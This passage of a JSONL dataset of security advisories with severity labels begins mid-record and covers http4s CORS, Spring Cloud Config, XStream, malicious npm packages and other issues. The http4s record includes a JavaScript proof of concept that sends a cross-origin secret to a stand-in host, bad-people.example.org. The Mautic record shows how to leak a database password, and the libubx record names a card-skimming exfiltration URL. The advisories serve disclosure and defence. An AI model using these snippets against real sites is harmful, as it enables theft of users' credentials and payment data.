.withAllowCredentials(false)\n  .apply(routes)\n```\n\n### Workarounds\n\nIt is possible to be safe in unpatched versions, but note the following defects exist:\n\n* The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response.\n* Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers.\n* Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches.\n* Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.\n* Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests.  This should be harmless in practice.\n* Needlessly sends `Access-Control-Max-Age` header on non-preflight requests.  This should be harmless in practice.\n* Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header.  This should be harmless in practice.\n\n#### Explicit origins\n\nIn versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(\n  anyOrigin = false,\n  allowOrigins = Set(\"http://trusted.example.com\")\n)\nval cors = CORS(routes, config)\n```\n\n###### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.def", "text_raw": "Default CORS config allows any origin with credentials\n\n[Severity: CRITICAL]\n\n### Impact\n\n#### Origin reflection attack\n\nThe default CORS configuration is vulnerable to an origin reflection attack.  Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:\n\n```scala\nval routes: HttpRoutes[F] = HttpRoutes.of {\n  case req if req.pathInfo === \"/secret\" =>\n    Response(Ok).withEntity(password).pure[F]\n}\nval app = CORS(routes.orNotFound)\n```\n\nThe following request is made to our server:\n\n```http\nGET /secret HTTP/1.1\nHost: vulnerable.example.com\nOrigin: https://adversary.example.net\nCookie: sessionId=...\n```\n\nWhen the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting.  Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:\n\n```http\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://adversary.example.org\nAccess-Control-Allow-Credentials: true \nContent-Type: text/plain\n\np4ssw0rd\n```\n\nA malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`:\n\n```javascript\nvar req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open('get','https://vulnerable.example.org/secret',true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n    location='//bad-people.example.org/log?key='+this.responseText; \n};\n```\n\n#### Null origin attack\n\nThe middleware is also susceptible to a Null Origin Attack.  A user agent may send `Origin: null` when a request is made from a sandboxed iframe.  The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above.\n\n### Patches\n\nThe problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25.  The original `CORS` implementation and `CORSConfig` are deprecated.  In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:\n\n### Migration\n\nThe `CORS` object exposes a default `CORSPolicy` via `CORS.policy`.  This can be configured with various `with*` methods, like any http4s builder.  Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware:\n\n```scala\nval routes: HttpRoutes[F] = ???\nval cors = CORS.policy\n  .withAllowOriginAll\n  .withAllowCredentials(false)\n  .apply(routes)\n```\n\n### Workarounds\n\nIt is possible to be safe in unpatched versions, but note the following defects exist:\n\n* The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response.\n* Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers.\n* Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches.\n* Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.\n* Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests.  This should be harmless in practice.\n* Needlessly sends `Access-Control-Max-Age` header on non-preflight requests.  This should be harmless in practice.\n* Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header.  This should be harmless in practice.\n\n#### Explicit origins\n\nIn versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(\n  anyOrigin = false,\n  allowOrigins = Set(\"http://trusted.example.com\")\n)\nval cors = CORS(routes, config)\n```\n\n###### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval c", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "c6cec9cc69d0e8f6a62e", "text": "Directory traversal attack in Spring Cloud Config\n\nSpring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.", "text_raw": "Directory traversal attack in Spring Cloud Config\n\n[Severity: MEDIUM]\n\nSpring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "096a687625f749d1e00a", "text": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n### Impact\nThe vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream, if using the version out of the box with Java runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39153](https://x-stream.github.io/CVE-2021-39153.html).\n\n### Credits\nCeclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream, if using the version out of the box with Java runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39153](https://x-stream.github.io/CVE-2021-39153.html).\n\n### Credits\nCeclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "74117f0dd8451b96efbf", "text": "Apache Tika Denial of Service due to Infinite Loop in Tika's SQLite3Parser\n\nA carefully crafted or corrupt sqlite file can cause an infinite loop in Apache Tika's SQLite3Parser in versions 1.8-1.19.1 of Apache Tika.", "text_raw": "Apache Tika Denial of Service due to Infinite Loop in Tika's SQLite3Parser\n\n[Severity: MEDIUM]\n\nA carefully crafted or corrupt sqlite file can cause an infinite loop in Apache Tika's SQLite3Parser in versions 1.8-1.19.1 of Apache Tika.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-26", "split": "train"}
-{"id": "945b47559e89a6ae7311", "text": "2FA bypass through deleting devices in wagtail-2fa\n\n### Impact\nAny user with access to the CMS can view and delete other users&#39; 2FA devices by going to the correct path. The user does not require special permissions in order to do so. By deleting the other user&#39;s device they can disable the target user&#39;s 2FA devices and potentially compromise the account if they figure out their password.\n\n### Patches\nThe problem has been patched in version 1.4.1.\n\n### Workarounds\nThere is no workaround for this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/labd/wagtail-2fa](https://github.com/labd/wagtail-2fa)\n* Email us at [security@labdigital.nl](mailto:security@labdigital.nl)", "text_raw": "2FA bypass through deleting devices in wagtail-2fa\n\n[Severity: MEDIUM]\n\n### Impact\nAny user with access to the CMS can view and delete other users&#39; 2FA devices by going to the correct path. The user does not require special permissions in order to do so. By deleting the other user&#39;s device they can disable the target user&#39;s 2FA devices and potentially compromise the account if they figure out their password.\n\n### Patches\nThe problem has been patched in version 1.4.1.\n\n### Workarounds\nThere is no workaround for this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/labd/wagtail-2fa](https://github.com/labd/wagtail-2fa)\n* Email us at [security@labdigital.nl](mailto:security@labdigital.nl)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-13", "split": "train"}
-{"id": "cbd00763d0e03e487a68", "text": "Missing Encryption of Sensitive Data in arrow-kt Arrow\n\narrow-kt Arrow before 0.9.0 resolved Gradle build artifacts (for compiling and building the published JARs) over HTTP instead of HTTPS. Any of these dependent artifacts could have been maliciously compromised by an MITM attack.", "text_raw": "Missing Encryption of Sensitive Data in arrow-kt Arrow\n\n[Severity: MEDIUM]\n\narrow-kt Arrow before 0.9.0 resolved Gradle build artifacts (for compiling and building the published JARs) over HTTP instead of HTTPS. Any of these dependent artifacts could have been maliciously compromised by an MITM attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-22", "split": "train"}
-{"id": "eb40dd58b09522a65787", "text": "Malicious Package in buffer-xob\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xob\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "a64b3876b570391ae30b", "text": "Arbitrary File Read in Snyk Broker\n\nAll versions of snyk-broker before 4.80.0 are vulnerable to Arbitrary File Read. It allows arbitrary file reads for users with access to Snyk's internal network by creating symlinks to match whitelisted paths.", "text_raw": "Arbitrary File Read in Snyk Broker\n\n[Severity: MEDIUM]\n\nAll versions of snyk-broker before 4.80.0 are vulnerable to Arbitrary File Read. It allows arbitrary file reads for users with access to Snyk's internal network by creating symlinks to match whitelisted paths.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "4f183eb36573830af4c9", "text": "InfraPower PPS-02-S Q213V1 Authentication Bypass Vulnerability", "text_raw": "InfraPower PPS-02-S Q213V1 Authentication Bypass Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-10-28", "split": "train"}
-{"id": "4ae282ee82e57e4122d1", "text": "Malicious Package in zs-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in zs-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "509fe1b56d0cb23dc994", "text": "TECO TP3-PCLINK 2.1 TPC File Handling Buffer Overflow Vulnerability", "text_raw": "TECO TP3-PCLINK 2.1 TPC File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-11-15", "split": "train"}
-{"id": "48ac5d6ee90d00e11617", "text": "Default development error handler in Ratpack is vulnerable to HTML content injection (XSS)\n\nVersions of Ratpack from 0.9.10 through 1.7.5 are vulnerable to [CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html) (aka. XSS) in the development error handler. An attacker can utilize this to perform XSS when an exception message contains untrusted data.\n\nAs a simplistic example:\n```java\nRatpackServer startedServer = RatpackServer.start(server -> {\n    server.handlers(chain -> chain.all(ctx -> {\n        // User supplied query parameter\n        String message = ctx.getRequest().getQueryParams().get(\"message\");\n        // User supplied data appended to the message in an exception\n        throw new RuntimeException(\"An error occurred: \" + message);\n    }));\n});\n```\n\n### Impact\n\n- Cross-Site Scripting\n\n### Patches\n\nThis vulnerability has been patched in Ratpack version 1.7.6.\n\n### Workarounds\n\nIf you are unable to update your version of Ratpack, we recommend the following workarounds and mitigations.\n\n- Ensure that development mode is disabled in production.\n - Don't use real customer data (ie. untrusted user input) in development.\n\n### References\n\n- [Ratpack development mode](https://ratpack.io/manual/current/api/ratpack/server/ServerConfigBuilder.html#development-boolean-)\n - [Code Patch - a3cbb13](https://github.com/ratpack/ratpack/commit/a3cbb13be1527874528c3b99fc33517c0297b6d3)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n - Open an issue in [ratpack/ratpack](https://github.com/ratpack/ratpack/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc)\n - Ask in our [Slack channel](https://slack-signup.ratpack.io/)", "text_raw": "Default development error handler in Ratpack is vulnerable to HTML content injection (XSS)\n\n[Severity: MEDIUM]\n\nVersions of Ratpack from 0.9.10 through 1.7.5 are vulnerable to [CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html) (aka. XSS) in the development error handler. An attacker can utilize this to perform XSS when an exception message contains untrusted data.\n\nAs a simplistic example:\n```java\nRatpackServer startedServer = RatpackServer.start(server -> {\n    server.handlers(chain -> chain.all(ctx -> {\n        // User supplied query parameter\n        String message = ctx.getRequest().getQueryParams().get(\"message\");\n        // User supplied data appended to the message in an exception\n        throw new RuntimeException(\"An error occurred: \" + message);\n    }));\n});\n```\n\n### Impact\n\n - Cross-Site Scripting\n\n### Patches\n\nThis vulnerability has been patched in Ratpack version 1.7.6.\n\n### Workarounds\n\nIf you are unable to update your version of Ratpack, we recommend the following workarounds and mitigations.\n\n - Ensure that development mode is disabled in production.\n - Don't use real customer data (ie. untrusted user input) in development.\n\n### References\n\n - [Ratpack development mode](https://ratpack.io/manual/current/api/ratpack/server/ServerConfigBuilder.html#development-boolean-)\n - [Code Patch - a3cbb13](https://github.com/ratpack/ratpack/commit/a3cbb13be1527874528c3b99fc33517c0297b6d3)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n - Open an issue in [ratpack/ratpack](https://github.com/ratpack/ratpack/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc)\n - Ask in our [Slack channel](https://slack-signup.ratpack.io/)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-27", "split": "train"}
-{"id": "a3c33b8c09726518319f", "text": "Open redirect in direct_mail\n\nThe direct_mail extension through 5.2.3 for TYPO3 has an Open Redirect via jumpUrl.", "text_raw": "Open redirect in direct_mail\n\n[Severity: MEDIUM]\n\nThe direct_mail extension through 5.2.3 for TYPO3 has an Open Redirect via jumpUrl.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "f8eb9c5b12145bbf10b6", "text": "Mediatek Multiple Chipsets Insufficient Input Validation Vulnerability\n\nAffected: MediaTek Multiple Chipsets\n\nMultiple MediaTek chipsets contain an insufficient input validation vulnerability and have missing SELinux restrictions in the Command Queue drivers ioctl handlers. This causes an out-of-bounds write leading to privilege escalation. This vulnerability was observed chained with CVE-2019-2215 and CVE-2020-0041 under exploit chain \"AbstractEmu.\"\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Mediatek Multiple Chipsets Insufficient Input Validation Vulnerability\n\nAffected: MediaTek Multiple Chipsets\n\nMultiple MediaTek chipsets contain an insufficient input validation vulnerability and have missing SELinux restrictions in the Command Queue drivers ioctl handlers. This causes an out-of-bounds write leading to privilege escalation. This vulnerability was observed chained with CVE-2019-2215 and CVE-2020-0041 under exploit chain \"AbstractEmu.\"\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "fa3a6384e303daf46b20", "text": "Malicious Package in libubx\n\nVersion 1.0.3 of `libubx` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.2", "text_raw": "Malicious Package in libubx\n\n[Severity: CRITICAL]\n\nVersion 1.0.3 of `libubx` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.2", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "0b7a3b247306843b4693", "text": "Go Ethereum Improper Input Validation\n\nIn Go Ethereum (aka geth) before 1.8.14, TraceChain in eth/api_tracer.go does not verify that the end block is after the start block.\n\n### Specific Go Packages Affected\ngithub.com/ethereum/go-ethereum/eth", "text_raw": "Go Ethereum Improper Input Validation\n\n[Severity: HIGH]\n\nIn Go Ethereum (aka geth) before 1.8.14, TraceChain in eth/api_tracer.go does not verify that the end block is after the start block.\n\n### Specific Go Packages Affected\ngithub.com/ethereum/go-ethereum/eth", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "27e4e32c8d0713c7cce1", "text": "Regular Expression Denial of Service (ReDoS) in Prism\n\nSome languages before 1.24.0 are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n### Impact\n\nWhen Prism is used to highlight untrusted (user-given) text, an attacker can craft a string that will take a very very long time to highlight. Do not use the following languages to highlight untrusted text.\n\n- ASCIIDoc\n- ERB\n\nOther languages are __not__ affected and can be used to highlight untrusted text.\n\n### Patches\nThis problem has been fixed in Prism v1.24.\n\n### References\n\n- PrismJS/prism#2774\n- PrismJS/prism#2688", "text_raw": "Regular Expression Denial of Service (ReDoS) in Prism\n\n[Severity: HIGH]\n\nSome languages before 1.24.0 are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n### Impact\n\nWhen Prism is used to highlight untrusted (user-given) text, an attacker can craft a string that will take a very very long time to highlight. Do not use the following languages to highlight untrusted text.\n\n- ASCIIDoc\n- ERB\n\nOther languages are __not__ affected and can be used to highlight untrusted text.\n\n### Patches\nThis problem has been fixed in Prism v1.24.\n\n### References\n\n- PrismJS/prism#2774\n- PrismJS/prism#2688\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "2413405ea0c15780154b", "text": "Code injection in nbgitpuller\n\n### Impact\n\nDue to an unsanitized input, visiting maliciously crafted links could result in arbitrary code execution in the user environment.\n\n### Patches\n\n0.10.2\n\n### Workarounds\n\nNone, other than upgrade to 0.10.2 or downgrade to 0.8.x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [nbgitpuller](https://github.com/jupyterhub/nbgitpuller/issues)\n* Email our security team at [security@ipython.org](mailto:security@ipython.org)", "text_raw": "Code injection in nbgitpuller\n\n[Severity: HIGH]\n\n### Impact\n\nDue to an unsanitized input, visiting maliciously crafted links could result in arbitrary code execution in the user environment.\n\n### Patches\n\n0.10.2\n\n### Workarounds\n\nNone, other than upgrade to 0.10.2 or downgrade to 0.8.x.\n\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [nbgitpuller](https://github.com/jupyterhub/nbgitpuller/issues)\n* Email our security team at [security@ipython.org](mailto:security@ipython.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "214f195787f03c92bd96", "text": "Cross-Site Scripting in swagger-ui\n\nAffected versions of `swagger-ui` are vulnerable to cross-site scripting via the `url` query string parameter.\n\n## Recommendation\n\nUpdate to 2.2.1 or later.", "text_raw": "Cross-Site Scripting in swagger-ui\n\n[Severity: CRITICAL]\n\nAffected versions of `swagger-ui` are vulnerable to cross-site scripting via the `url` query string parameter.\n\n\n## Recommendation\n\nUpdate to 2.2.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "ec46802fe1ac0dd3703d", "text": "XSS in login form\n\nIn the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the Login form.", "text_raw": "XSS in login form\n\n[Severity: MEDIUM]\n\nIn the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the Login form.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "f98bd2c13eea70900ed1", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Santuario\n\nAll versions of Apache Santuario - XML Security for Java prior to 2.2.3 and 2.1.7 are vulnerable to an issue where the \"secureValidation\" property is not passed correctly when creating a KeyInfo from a KeyInfoReference element. This allows an attacker to abuse an XPath Transform to extract any local .xml files in a RetrievalMethod element.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Santuario\n\n[Severity: HIGH]\n\nAll versions of Apache Santuario - XML Security for Java prior to 2.2.3 and 2.1.7 are vulnerable to an issue where the \"secureValidation\" property is not passed correctly when creating a KeyInfo from a KeyInfoReference element. This allows an attacker to abuse an XPath Transform to extract any local .xml files in a RetrievalMethod element.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "c48e109b2c1e9b1e99d8", "text": "Basic auth bypass in esphome\n\n### Impact\n\nAnyone with web_server enabled and HTTP basic auth configured on 2021.9.1 or older\n\n`web_server` allows OTA update without checking user defined basic auth username & password\n\n### Patches\n\nPatch released in 2021.9.2\n\n### Workarounds\n\nDisable/remove `web_server`", "text_raw": "Basic auth bypass in esphome\n\n[Severity: HIGH]\n\n### Impact\n\nAnyone with web_server enabled and HTTP basic auth configured on 2021.9.1 or older\n\n`web_server` allows OTA update without checking user defined basic auth username & password\n\n### Patches\n\nPatch released in 2021.9.2\n\n### Workarounds\n\nDisable/remove `web_server`\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "5497c573de4ef8b01137", "text": "Mautic vulnerable to secret data exfiltration via symfony parameters\n\n### Impact\nSymfony parameters (which is what Mautic transforms configuration parameters into) can be used within other Symfony parameters by design. However, this also means that an admin who is normally not privy to certain parameters, such as database credentials, could expose them by leveraging any of the free text fields in Mautic’s configuration that are used in publicly facing parts of the application.\n\nFor example,\n\n1. Go to Configuration page -> Landing Page Settings -> Analytics script and enter this: <`script> console.log(\"db password is: %mautic.db_password%\"); </script>`\n2. Visit any landing page and open the JS dev console. You will see the following message with real instance db password: `db password is: <real password>`\n\nRisk rating: Moderate\n\n### Patches\nUpgrade to 3.3.2\n\n### Workarounds\nNo\n\n### References\nNo\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "Mautic vulnerable to secret data exfiltration via symfony parameters\n\n[Severity: MEDIUM]\n\n### Impact\nSymfony parameters (which is what Mautic transforms configuration parameters into) can be used within other Symfony parameters by design. However, this also means that an admin who is normally not privy to certain parameters, such as database credentials, could expose them by leveraging any of the free text fields in Mautic’s configuration that are used in publicly facing parts of the application.\n\nFor example,\n\n1. Go to Configuration page -> Landing Page Settings -> Analytics script and enter this: <`script> console.log(\"db password is: %mautic.db_password%\"); </script>`\n2. Visit any landing page and open the JS dev console. You will see the following message with real instance db password: `db password is: <real password>`\n\nRisk rating: ModerateCVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L\n\n### Patches\nUpgrade to 3.3.2\n\n### Workarounds\nNo\n\n### References\nNo\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "581707bfbd71f4512d64", "text": "Improper Input Validation in Apache Thrift\n\nApache Thrift Java client library versions 0.5.0 prior to 0.9.3-1 and 0.10.0 prior to 0.12.0 can bypass SASL negotiation isComplete validation in the org.apache.thrift.transport.TSaslTransport class. An assert used to determine if the SASL handshake had successfully completed could be disabled in production settings making the validation incomplete.", "text_raw": "Improper Input Validation in Apache Thrift\n\n[Severity: HIGH]\n\nApache Thrift Java client library versions 0.5.0 prior to 0.9.3-1 and 0.10.0 prior to 0.12.0 can bypass SASL negotiation isComplete validation in the org.apache.thrift.transport.TSaslTransport class. An assert used to determine if the SASL handshake had successfully completed could be disabled in production settings making the validation incomplete.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-17", "split": "train"}
-{"id": "71437927e547033ae058", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "6539fd20c904eff121ee", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "text_raw": "Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "8894421ed58ad8fd99d3", "text": "jquery.js is malware\n\nThe `jquery.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "jquery.js is malware \n\n[Severity: HIGH]\n\nThe `jquery.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
